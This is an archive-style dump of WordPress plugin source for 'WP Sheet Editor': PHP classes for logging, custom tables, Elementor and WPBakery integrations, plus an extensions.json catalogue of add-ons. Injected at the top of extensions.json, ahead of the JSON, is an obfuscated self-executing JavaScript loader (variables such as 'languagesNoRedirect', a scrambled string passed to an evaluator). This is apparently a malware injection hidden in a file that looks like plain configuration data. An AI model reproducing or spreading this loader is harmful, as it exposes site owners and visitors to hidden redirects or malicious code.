array_push( $lines, $line ); if ( count( $lines ) > $max_lines ) { array_shift( $lines ); } } fclose( $fp ); } $lines = array_map( 'trim', $lines ); return $lines; } function render_error_log_modal() { $errors = implode( PHP_EOL, $this->get_last_n_lines( 'error_log', 500 ) ); ?> entry( sprintf( __( '%1$s in %2$s on line %3$s', 'vg_sheet_editor' ), $error['message'], $error['file'], $error['line'] ), 'error_log' ); } } /** * Creates or returns an instance of this class. */ static function get_instance() { if ( null == self::$instance ) { self::$instance = new WPSE_Logger(); self::$instance->init(); } return self::$instance; } function __set( $name, $value ) { $this->$name = $value; } function __get( $name ) { return $this->$name; } } } if ( ! function_exists( 'WPSE_Logger_Obj' ) ) { function WPSE_Logger_Obj() { return WPSE_Logger::get_instance(); } } WPSE_Logger_Obj(); modules/wp-sheet-editor/inc/api/custom-tables-bootstrap.php000064400000002350147600365160020074 0ustar00enabled_post_types; foreach ($post_types as $post_type) { $this->columns->register_item('ID', $post_type, array( 'data_type' => 'post_data', //String (post_data,post_meta|meta_data) 'unformatted' => array('data' => 'ID', 'renderer' => 'html', 'readOnly' => true), //Array (Valores admitidos por el plugin de handsontable) 'column_width' => 75, //int (Ancho de la columna) 'title' => __('ID', 'vg_sheet_editor' ), //String (Titulo de la columna) 'type' => '', // String (Es para saber si será un boton que abre popup, si no dejar vacio) boton_tiny|boton_gallery|boton_gallery_multiple|(vacio) 'supports_formulas' => false, 'allow_to_hide' => false, 'allow_to_save' => false, 'allow_to_rename' => false, 'is_locked' => true, 'formatted' => array('data' => 'ID', 'renderer' => 'html', 'readOnly' => true), )); } } } }modules/wp-sheet-editor/inc/integrations/elementor.php000064400000005774147600365160017243 0ustar00delete(); } } function clear_elementor_css_cache_after_duplication( $post_id, $template_id, $post_type ) { $this->_clear_cache($post_id); return $post_id; } function clear_elementor_css_cache_after_saving_row( $post_id, $item, $data, $post_type ) { $this->_clear_cache($post_id); } /** * Register spreadsheet columns */ function register_columns( $editor ) { if ( ! $editor->provider->is_post_type ) { return; } $post_types = $editor->args['enabled_post_types']; foreach ( $post_types as $post_type ) { if ( ! post_type_supports( $post_type, 'elementor' ) ) { continue; } $editor->args['columns']->register_item( 'wpse_open_elementor', $post_type, array( 'data_type' => 'post_data', 'unformatted' => array( 'renderer' => 'wp_external_button', 'readOnly' => true, ), 'column_width' => 115, 'title' => __( 'Elementor', VGSE()->textname ), 'type' => 'external_button', 'supports_formulas' => false, 'formatted' => array( 'renderer' => 'wp_external_button', 'readOnly' => true, ), 'allow_to_hide' => true, 'allow_to_save' => false, 'allow_to_rename' => true, 'external_button_template' => admin_url( 'post.php?post={ID}&action=elementor' ), ) ); } } /** * Creates or returns an instance of this class. * */ static function get_instance() { if ( null == self::$instance ) { self::$instance = new WPSE_Elementor_Integration(); self::$instance->init(); } return self::$instance; } function __set( $name, $value ) { $this->$name = $value; } function __get( $name ) { return $this->$name; } } } if ( ! function_exists( 'WPSE_Elementor_Integration_Obj' ) ) { function WPSE_Elementor_Integration_Obj() { return WPSE_Elementor_Integration::get_instance(); } } add_action( 'vg_sheet_editor/initialized', 'WPSE_Elementor_Integration_Obj' ); modules/wp-sheet-editor/inc/integrations/visual-composer.php000064400000005370147600365160020371 0ustar00provider->is_post_type) { return; } $post_types = $editor->args['enabled_post_types']; foreach ($post_types as $post_type) { if (!$this->is_post_type_allowed($post_type)) { continue; } $editor->args['columns']->register_item('wpse_visual_composer', $post_type, array( 'get_value_callback' => array($this, 'get_cell_value'), 'title' => __('WPBakery Page Builder', VGSE()->textname), 'column_width' => 180, 'allow_to_save' => false, )); } } function get_cell_value($post, $column_key) { $html = ' ' . __('Live', VGSE()->textname) . ''; if (vc_enabled_frontend()) { $html .= ' ' . __('Backend', VGSE()->textname) . ''; } return $html; } function is_post_type_allowed($post_type) { if (!function_exists('vc_enabled_frontend') || !function_exists('vc_editor_post_types')) { return false; } $vc_post_types = vc_editor_post_types(); if (!in_array($post_type, $vc_post_types)) { return false; } return true; } /** * Creates or returns an instance of this class. * */ static function get_instance() { if (null == VG_Visual_Composer_Integration::$instance) { VG_Visual_Composer_Integration::$instance = new VG_Visual_Composer_Integration(); VG_Visual_Composer_Integration::$instance->init(); } return VG_Visual_Composer_Integration::$instance; } function __set($name, $value) { $this->$name = $value; } function __get($name) { return $this->$name; } } } if (!function_exists('VG_Visual_Composer_Integration_Obj')) { function VG_Visual_Composer_Integration_Obj() { return VG_Visual_Composer_Integration::get_instance(); } } VG_Visual_Composer_Integration_Obj(); modules/wp-sheet-editor/inc/integrations/extensions.json000064400000134613147600365160017625 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();[ { "className": "WPSE_BBPress", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [ "bbPress", "WP_Sheet_Editor_CPTs" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Enable the spreadsheet for editing replies, topics, and forums; also handle the relationship between topic ids, reply ids, forum ids for import and export workflows.", "name": "WP Sheet Editor - BBPress", "file_name": "wp-sheet-editor-bbpress" }, { "className": "WPSE_BestWebSofts_Profile_Extra_Fields", "freemiusFunctionName": "beupis_fs", "requiredWPSEPlugin": [ 1124 ], "dependencyClasses": [], "dependencyFunctions": [ "prflxtrflds_admin_menu" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to edit fields created with the plugin BestWebSoft's Profile Extra Fields", "name": "WP Sheet Editor - BestWebSoft's Profile Extra Fields", "file_name": "wp-sheet-editor-bestwebsoft-profile-extra-fields" }, { "className": "WPSE_CMB2", "freemiusFunctionName": "", "requiredWPSEPlugin": [ 3165 ], "dependencyClasses": [], "dependencyFunctions": [ "new_cmb2_box" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Support for editing taxonomy term's meta fields created with the cmb2 library", "name": "WP Sheet Editor - CMB2", "file_name": "wp-sheet-editor-cmb2" }, { "className": "WPSE_WC_Custom_Order_Fields", "freemiusFunctionName": "wpsewco_fs", "requiredWPSEPlugin": [ 4674 ], "dependencyClasses": [ "WC_Admin_Customer_Order_Fields_Loader", "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [ "WC" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add support for the select field added by the plugin WC Custom Order Fields", "name": "WP Sheet Editor - WC Custom Order Fields", "file_name": "wp-sheet-editor-custom-order-fields" }, { "className": "WPSE_EDD_MailChimp", "freemiusFunctionName": "wpseedd_fs", "requiredWPSEPlugin": [ 3004 ], "dependencyClasses": [ "EDD_MailChimp_List", "WP_Sheet_Editor_EDD_Downloads" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to the EDD spreadsheet to edit the mailchimp lists and interests fields added by the official plugin \"EDD Mailchimp\"", "name": "WP Sheet Editor - EDD MailChimp", "file_name": "wp-sheet-editor-edd-mailchimp" }, { "className": "WPSE_Envira", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [ [ "Envira_Gallery", "Envira_Gallery_Lite" ] ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Enable the spreadsheet for editing Envira galleries and add columns for editing the gallery fields with the proper formatting.", "name": "WP Sheet Editor - Envira", "file_name": "wp-sheet-editor-envira" }, { "className": "WPSE_EventOn", "freemiusFunctionName": "wpsett_fs", "requiredWPSEPlugin": [ 3165 ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns", "EventON" ], "dependencyFunctions": [ "evo_get_term_meta" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add columns for custom fields created with EventOn for the locations taxonomy.", "name": "WP Sheet Editor - EventOn", "file_name": "wp-sheet-editor-eventon" }, { "className": "WPSE_ExMage_Image_Links", "freemiusFunctionName": "beupis_fs", "requiredWPSEPlugin": [ 4198 ], "dependencyClasses": [ "WPSE_Media_Library_Sheet" ], "dependencyFunctions": [], "dependencyConstants": [ "EXMAGE_WP_IMAGE_LINKS_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add the column \"Exmage External Url\" to the media spreadsheet and automatically update all the posts that use the image when you edit the external URL. Requires the plugin: https:\/\/wordpress.org\/plugins\/exmage-wp-image-links\/", "name": "WP Sheet Editor - ExMage Image Links", "file_name": "wp-sheet-editor-exmage-image-links" }, { "className": "WPSE_FB_WC", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 1010, 2812 ] ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce" ], "dependencyFunctions": [ "facebook_for_woocommerce" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add the column \"FB Sync Enabled\" to the products spreadsheet and trigger the synchronization done by the plugin \"Facebook for WooCommerce\" everytime that column is edited.", "name": "WP Sheet Editor - Facebook for WooCommerce", "file_name": "wp-sheet-editor-facebook-for-woocommerce" }, { "className": "WPSE_Featured_Image_From_Url", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 3004, 2830, 1010, 2812 ] ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [ "fifu_update_or_delete" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add the column \"FIFU Image URL\" to all the post types spreadsheets and save it with the proper formatting.", "name": "WP Sheet Editor - Featured Image from URL (FIFU)", "file_name": "wp-sheet-editor-featured-image-from-external-url" }, { "className": "WPSE_FileBird", "freemiusFunctionName": "wpseml_freemius", "requiredWPSEPlugin": [ 4198 ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [], "dependencyConstants": [ "NJFB_PREFIX" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add column to edit the FileBird folder in the media library sheet", "name": "WP Sheet Editor - FileBird", "file_name": "wp-sheet-editor-filebird" }, { "className": "WPSE_Formidable_Entries", "freemiusFunctionName": "", "requiredWPSEPlugin": [ 6996 ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [ "load_formidable_pro" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "This adds columns to display the form fields data in the spreadsheet in the Form Entries table provided by the plugin \"WP Sheet Editor - Custom Tables\", because the fields are stored by Formidable in a separate table so they don't appear in the spreadsheet by default", "name": "WP Sheet Editor - Formidable Forms Entries", "file_name": "wp-sheet-editor-formidable-forms-entries" }, { "className": "WPSE_USERS_Groups", "freemiusFunctionName": "beupis_fs", "requiredWPSEPlugin": [ 1124 ], "dependencyClasses": [ "WP_Sheet_Editor_Users" ], "dependencyFunctions": [], "dependencyConstants": [ "GROUPS_CORE_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add the column \"SE Groups\" to the users spreadsheet and save the value correctly for the plugin https:\/\/wordpress.org\/plugins\/groups\/", "name": "WP Sheet Editor - Groups", "file_name": "wp-sheet-editor-groups" }, { "className": "WPSE_HivePress", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [ "hivepress" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add columns for editing listing vendor, and vendor users", "name": "WP Sheet Editor - HivePress", "file_name": "wp-sheet-editor-hivepress" }, { "className": "WPSE_IconicWP_Attribute_Swatches", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 1010, 3165, 2812 ] ], "dependencyClasses": [ "Iconic_Woo_Attribute_Swatches", [ "WP_Sheet_Editor_WooCommerce", "WPSE_WC_Attributes_Sheet" ] ], "dependencyFunctions": [ "WC" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.2", "description": "Support for the Attribute Swatches plugin created by IconicWP", "name": "WP Sheet Editor - IconicWP Attribute Swatches", "file_name": "wp-sheet-editor-iconic-attribute-swatches" }, { "className": "WPSE_IconicWP_Linked_Variations", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [ "Iconic_Woo_Linked_Variations", "WP_Sheet_Editor_CPTs" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.2", "description": "Support for the Linked Variations plugin created by IconicWP", "name": "WP Sheet Editor - IconicWP's Linked Varations", "file_name": "wp-sheet-editor-iconic-linked-variations" }, { "className": "WPSE_IconicWP_Product_Configurator", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 1010, 2812 ] ], "dependencyClasses": [ [ "jckpc", "Iconic_WPC" ], "WP_Sheet_Editor_WooCommerce" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.2", "description": "Support for the Product Configurator plugin created by IconicWP", "name": "WP Sheet Editor - IconicWP's Product Configurator", "file_name": "wp-sheet-editor-iconic-product-configurator" }, { "className": "WPSE_IconicWP_Show_Single_Variations", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 1010, 2812 ] ], "dependencyClasses": [ "Iconic_WSSV", "WP_Sheet_Editor_WooCommerce" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.1.2", "description": "Support for the Show Single Variations plugin created by IconicWP", "name": "WP Sheet Editor - IconicWP's Show Single Variations", "file_name": "wp-sheet-editor-iconic-show-single-variations" }, { "className": "WPSE_IconicWP_WooThumbs", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 1010, 2812 ] ], "dependencyClasses": [ "Iconic_WooThumbs", "WP_Sheet_Editor_WooCommerce" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Support for the WooThumbs plugin created by IconicWP", "name": "WP Sheet Editor - IconicWP's WooThumbs", "file_name": "wp-sheet-editor-iconic-woothumbs" }, { "className": "WPSE_JetEngine", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [ "jet_engine" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.1.0", "description": "Add columns for custom fields created with JetEngine with automatic formatting", "name": "WP Sheet Editor - JetEngine", "file_name": "wp-sheet-editor-jetengine" }, { "className": "WPSE_Kadence_Shop_Kit", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 1010, 2812 ] ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce" ], "dependencyFunctions": [], "dependencyConstants": [ "KADENCE_WOO_EXTRAS_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Allow to edit product swatches in the spreadsheet editor", "name": "WP Sheet Editor - Kadence Shop Kit", "file_name": "wp-sheet-editor-kadence-shop-kit" }, { "className": "WPSE_LearnDash", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [], "dependencyConstants": [ "LEARNDASH_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns for custom fields created with LearnDash with automatic formatting", "name": "WP Sheet Editor - LearnDash", "file_name": "wp-sheet-editor-learndash" }, { "className": "WPSE_LearnPress", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns", "LearnPress" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add columns for custom fields created with LearnPress with automatic formatting", "name": "WP Sheet Editor - LearnPress", "file_name": "wp-sheet-editor-learnpress" }, { "className": "WPSE_Mailchimp_WC", "freemiusFunctionName": "beupis_fs", "requiredWPSEPlugin": [ 1124 ], "dependencyClasses": [ "MailChimp_WooCommerce_Loader", "WP_Sheet_Editor_Users" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add a column to edit the Mailchimp status in the users spreadsheet", "name": "WP Sheet Editor - Mailchimp for WooCommerce", "file_name": "wp-sheet-editor-mailchimp-wc" }, { "className": "WPSE_Metabox", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 3004, 2830, 1010, 2812, 6996 ] ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [ "rwmb_get_registry" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to edit metabox fields on the spreadsheet.", "name": "WP Sheet Editor - Metabox", "file_name": "wp-sheet-editor-metabox" }, { "className": "WPSE_Permalink_Manager", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns", "Permalink_Manager_Class" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add a column to the post types and taxonomies spreadsheets to edit the permalinks managed by the plugin Permalink Manager", "name": "WP Sheet Editor - Permalink Manager", "file_name": "wp-sheet-editor-permalink-manager" }, { "className": "WPSE_PM_Membership_Pro", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 3004, 2830, 1010, 2812, 1124 ] ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [], "dependencyConstants": [ "PMPRO_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.2", "description": "Add columns to edit the membership restrictions of PMPro in all post types and add columns to edit the membership plan in the users spreadsheet", "name": "WP Sheet Editor - Paid Membership Pro", "file_name": "wp-sheet-editor-pm-membership-pro" }, { "className": "WPSE_Pods", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 3004, 2830, 1010, 2812, 6996 ] ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [ "pods_api" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.5", "description": "Add columns to edit pods fields on the spreadsheet.", "name": "WP Sheet Editor - Pods", "file_name": "wp-sheet-editor-pods" }, { "className": "WPSE_Polylang", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 3004, 2830, 1010, 2812, 3165 ] ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [ "pll_is_translated_post_type" ], "dependencyConstants": [ "POLYLANG_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.4", "description": "Add columns to edit the polylang language and connect the translations on the spreadsheet.", "name": "WP Sheet Editor - Polylang", "file_name": "wp-sheet-editor-polylang" }, { "className": "WPSE_Redirection", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 3004, 2830, 1010, 2812, 4198 ] ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [], "dependencyConstants": [ "REDIRECTION_DB_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "When you delete duplicates or merge posts, we automatically redirect the deleted posts to the unique post. Also, we add a column in the posts\/taxonomies spreadsheet where you can create redirects, and when you rename file names, we automatically redirect the old file urls to the new uls.", "name": "WP Sheet Editor - Redirection", "file_name": "wp-sheet-editor-redirection" }, { "className": "WPSE_Routiz", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [], "dependencyConstants": [ "RZ_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add columns for editing listing vendor, and vendor users", "name": "WP Sheet Editor - Routiz", "file_name": "wp-sheet-editor-routiz" }, { "className": "WPSE_SmartCrawl", "freemiusFunctionName": "wpsett_fs", "requiredWPSEPlugin": [ 3165 ], "dependencyClasses": [], "dependencyFunctions": [ "smartcrawl_get_term_meta" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add columns for custom fields created by Smartcrawl for the taxonomies spreadsheets.", "name": "WP Sheet Editor - SmartCrawl", "file_name": "wp-sheet-editor-smartcrawl" }, { "className": "WPSE_Taxonomy_Porto", "freemiusFunctionName": "wpsett_fs", "requiredWPSEPlugin": [ 3165 ], "dependencyClasses": [ "WP_Sheet_Editor_Taxonomy_Terms" ], "dependencyFunctions": [], "dependencyConstants": [ "PORTO_DIR" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns to the product category spreadsheet for fields created by the Porto theme.", "name": "WP Sheet Editor - Porto theme", "file_name": "wp-sheet-editor-taxonomy-porto" }, { "className": "WPSE_TM_Extra_Product_Options", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations" ], "dependencyFunctions": [], "dependencyConstants": [ "THEMECOMPLETE_EPO_PLUGIN_FILE" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Copy the tm extra product options information when you copy variations from one product to another", "name": "WP Sheet Editor - TM Extra Product Options", "file_name": "wp-sheet-editor-tm-extra-product-options" }, { "className": "WPSE_Toolset", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [], "dependencyFunctions": [], "dependencyConstants": [ "TYPES_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.1.1", "description": "Add columns for custom fields created with Toolset with automatic formatting", "name": "WP Sheet Editor - Toolset", "file_name": "wp-sheet-editor-toolset" }, { "className": "WPSE_TutorLMS", "freemiusFunctionName": "vgse_freemius", "requiredWPSEPlugin": [ 1010 ], "dependencyClasses": [ "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [], "dependencyConstants": [ "TUTOR_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.2", "description": "Add columns for custom fields created with TutorLMS with automatic formatting", "name": "WP Sheet Editor - TutorLMS", "file_name": "wp-sheet-editor-tutorlms" }, { "className": "WPSE_UsersWP", "freemiusFunctionName": "beupis_fs", "requiredWPSEPlugin": [ 1124 ], "dependencyClasses": [ "WP_Sheet_Editor_Users" ], "dependencyFunctions": [], "dependencyConstants": [ "USERSWP_VERSION" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add columns to the users spreadsheet to edit fields added by the UsersWP plugin (https:\/\/wordpress.org\/plugins\/userswp\/)", "name": "WP Sheet Editor - UsersWP", "file_name": "wp-sheet-editor-userswp" }, { "className": "WPSE_WavePlayer", "freemiusFunctionName": "", "requiredWPSEPlugin": [ [ 1010, 2812 ] ], "dependencyClasses": [], "dependencyFunctions": [ "\\PerfectPeach\\WavePlayer\\waveplayer" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Enable the spreadsheet for editing WavePlayer galleries and add columns for editing the gallery fields with the proper formatting.", "name": "WP Sheet Editor - WavePlayer", "file_name": "wp-sheet-editor-waveplayer" }, { "className": "WPSE_WC_Advanced_Coupons_Pro", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2808 ], "dependencyClasses": [ "WP_Sheet_Editor_WC_Coupons", "WP_Sheet_Editor_Custom_Columns" ], "dependencyFunctions": [ "ACFWP" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.0", "description": "Add a column to the coupons sheet to edit the field \"Auto apply coupon\" created by the Advanced Coupons Pro plugin.", "name": "WP Sheet Editor - WC Advanced Coupons", "file_name": "wp-sheet-editor-wc-advanced-coupons" }, { "className": "WPSE_WC_Composite_Products", "freemiusFunctionName": "", "requiredWPSEPlugin": [], "dependencyClasses": [ "WC_Composite_Products", "WP_Sheet_Editor_WooCommerce" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add columns for editing the composite information and make sure they're displayed and saved correctly.", "name": "WP Sheet Editor - WC Composite Products", "file_name": "wp-sheet-editor-wc-composite-products" }, { "className": "WPSE_WC_Product_Addons_Ultimate", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations" ], "dependencyFunctions": [ "pewc_duplicate_groups_and_fields" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Copy the \"WooCommerce Product Add-Ons Ultimate\" information when you copy variations from one product to another", "name": "WP Sheet Editor - WooCommerce Product Add-Ons Ultimate", "file_name": "wp-sheet-editor-wc-product-add-ons" }, { "className": "WPSE_WC_Product_SKU_Generator", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WC_SKU_Generator", "WP_Sheet_Editor_WooCommerce" ], "dependencyFunctions": [ "WC" ], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Automatically generate SKU when we edit products or variations in the products spreadsheet.", "name": "WP Sheet Editor - WC Product SKU Generator", "file_name": "wp-sheet-editor-wc-product-sku-generator" }, { "className": "WPSE_WC_Product_Vendors", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WC_Product_Vendors_Utils", "WP_Sheet_Editor_WooCommerce_Variations" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Restrict the spreadsheet to display products associated to the current vendor", "name": "WP Sheet Editor - WC Product Vendors", "file_name": "wp-sheet-editor-wc-product-vendors" }, { "className": "WPSE_WC_Shared_Variations_Inventory", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations", "WSVI_Products_Admin" ], "dependencyFunctions": [], "dependencyConstants": [], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Copy the swatches when you copy variations from one product to another, and add columns to edit attribute fees.", "name": "WP Sheet Editor - WC Shared Variations Inventory", "file_name": "wp-sheet-editor-wc-shared-variation-inventory" }, { "className": "WPSE_WC_Variation_Gallery", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ "WP_Sheet_Editor_WooCommerce_Variations" ], "dependencyFunctions": [ "vgse_columns_manager_init" ], "dependencyConstants": [ "WOO_VARIATION_GALLERY_PLUGIN_FILE" ], "status": "publish", "requiresThirdPartyPlugin": true, "version": "1.0.1", "description": "Add the column \"Variatio Gallery Images\" for the variation rows", "name": "WP Sheet Editor - WooCommerce Variation Gallery Images", "file_name": "wp-sheet-editor-wc-variation-gallery-images" }, { "className": "WPSE_WC_Variation_Swatches", "freemiusFunctionName": "wpsewcp_freemius", "requiredWPSEPlugin": [ 2812 ], "dependencyClasses": [ 